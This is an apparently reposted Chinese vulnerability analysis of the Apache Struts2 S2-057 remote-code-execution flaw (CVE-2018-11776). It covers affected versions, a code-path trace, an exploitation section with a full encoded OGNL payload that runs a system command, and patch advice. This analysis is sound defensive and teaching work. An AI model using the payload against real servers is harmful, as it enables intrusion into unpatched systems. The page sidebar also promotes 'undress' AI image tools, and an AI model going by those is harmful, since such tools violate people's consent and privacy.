目录
前言
一、 漏洞描述
1. 受影响的系统版本
2. 漏洞编号
二、环境搭建
三、漏洞细节
四、漏洞利用
五、修复建议
1. 官方补丁
2. 手工修复
首页 运维 安全 如何进行Apache Struts2 S2-057远程代码执行漏洞分析

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

May 15, 2023 pm 09:43 PM
struts2

前言

Apache Struts框架是一个基于 Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller (MVC)的设计模式,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。

天融信阿尔法实验室将为你带来Apache Struts2 S2-057远程代码执行漏洞分析~

一、 漏洞描述

当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。

1. 受影响的系统版本

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2. 漏洞编号

CVE-2018-11776

二、环境搭建

1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip

2. 修改配置文件struts-actionchaining.xml

该漏洞有多种攻击向量包括:

Redirect action

Action chaining

Postback result

以第一种为例子,修改配置文件内容为:

如何进行Apache Struts2 S2-057远程代码执行漏洞分析    

三、漏洞细节

在DefaultActionMapper这个类的parseNameAndNamespace方法里。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

当alwaysSelectFullNamespace被设置为true时,namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。

Action执行结束之后,程序会调用ServletActionRedirectResult类中的execute()方法进行重定向Result的解析。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

首先,当namespace为空时,调用invocation.getProxy().getNamespace()赋值给变量namespace,然后将变量namespace传入ActionMapping构造函数中。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

然后,ActionMapper.getUriFromActionMapping()对ActionMapping后的值进行重组,生成一个URL字符串(包含namespace),并赋值给了tmplocation变量。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

紧接着将带有namespace的tmplocation传入了setLocation()方法中。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

该方法将tmpLocation值赋值给了StrutsResultSupport类中的location变量。

然后,跟踪super.execute()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

继续跟踪ServletActionResult类中的super.execute()。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

在StrutsResultSupport类中的execute()方法中,刚刚被赋值的location变量(带有namespace的)被传入了conditionalParse()方法。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

最终,通过TextParseUtil.translateVariables()对namespace进行OGNL解析,导致远程代码执行漏洞。

四、漏洞利用

1. 访问url 为/${(111+111)}/actionChain1.action的地址。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

访问触发OGNL表达式,url变为/222/register2.action,漏洞存在。

2. payload:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
登录后复制

此payload 仅适用于2.3系列版本。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

五、修复建议

1. 官方补丁

目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:https://struts.apache.org/download.cgi#struts2517。

2. 手工修复

修改配置文件:

固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。

以上是如何进行Apache Struts2 S2-057远程代码执行漏洞分析的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Java教程
1663
14
CakePHP 教程
1419
52
Laravel 教程
1313
25
PHP教程
1264
29
C# 教程
1237
24
如何从防护角度看Struts2历史漏洞 如何从防护角度看Struts2历史漏洞 May 13, 2023 pm 05:49 PM

一、前言Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。网上的分析文章主要从攻击利用的角度来分析这些Struts2漏洞。作为新华三攻防团队,我们的一部分工作是维护ips产品的规则库,今天回顾一下这个系

Struts2框架的原理是什么 Struts2框架的原理是什么 Jan 04, 2024 pm 01:55 PM

Struts2框架的原理:1、拦截器解析请求路径;2、查找Action的完整类名;3、创建Action对象;4、执行Action方法;5、返回结果;6、视图解析。它原理基于拦截器的机制,使得业务逻辑控制器与Servlet API完全脱离开,提高了代码的可重用性和可维护性。通过使用反射机制,Struts2框架可以灵活地创建和管理Action对象,实现请求与响应的处理。

Struts2 S2-059 远程代码执行漏洞复现是怎么样的 Struts2 S2-059 远程代码执行漏洞复现是怎么样的 May 23, 2023 pm 10:37 PM

0x00简介Struts2是Apache软件组织推出的一个相当强大的JavaWeb开源框架,本质上相当于一个servlet。Struts2基于MVC架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级Javaweb应用程序,它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞

struts2漏洞 S2-001实例分析 struts2漏洞 S2-001实例分析 May 15, 2023 pm 03:58 PM

Vulhub漏洞系列:struts2漏洞S2-0011.漏洞描述:struts2漏洞S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。2.vulhub漏洞利用:用vulhub复现漏洞可以省去环境的搭建过程,相当方便。vu

Struts2-057 两个版本RCE漏洞实例分析 Struts2-057 两个版本RCE漏洞实例分析 May 15, 2023 pm 06:46 PM

前言2018年8月22日,ApacheStrust2发布最新安全公告,ApacheStruts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由SemmleSecurityResearchteam的安全研究员ManYueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(ActionConfiguration)中未设置或用通配符namespace,可能导致远程代码执行。同理,u

怎么进行Apache Struts2--048远程代码执行漏洞复现 怎么进行Apache Struts2--048远程代码执行漏洞复现 May 12, 2023 pm 07:43 PM

0x00简介Struts2框架是一个用于开发JavaEE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了JavaServletAPI,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。0x01漏洞概述ApacheStruts22.3.x系列启用了struts2-struts1-plugin插件并且存在struts2-showcase目录,其漏洞成因是当ActionMe

如何进行Apache Struts2 S2-057远程代码执行漏洞分析 如何进行Apache Struts2 S2-057远程代码执行漏洞分析 May 15, 2023 pm 09:43 PM

前言ApacheStruts框架是一个基于JavaServlets,JavaBeans,和JavaServerPages(JSP)的Web应用框架的开源项目,Struts基于Model-View-Controller(MVC)的设计模式,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。Struts框架是Jakarta工程的一部分,由Apache软件基金会管理。天融信阿尔法实验室将为你带来ApacheStruts2S2-057

Struts2框架站点风险的示例分析 Struts2框架站点风险的示例分析 May 30, 2023 pm 12:32 PM

1.概述Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,后来成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller〔MVC〕设计模式的应用框架〔WebFramework〕,是MVC经典设计模式中的一个经典产品。在JavaEE的Web应用发展的初期,除了使用Servlet技术以外,普遍是在JavaServerPages(JSP)的源代码中,采用HTM

See all articles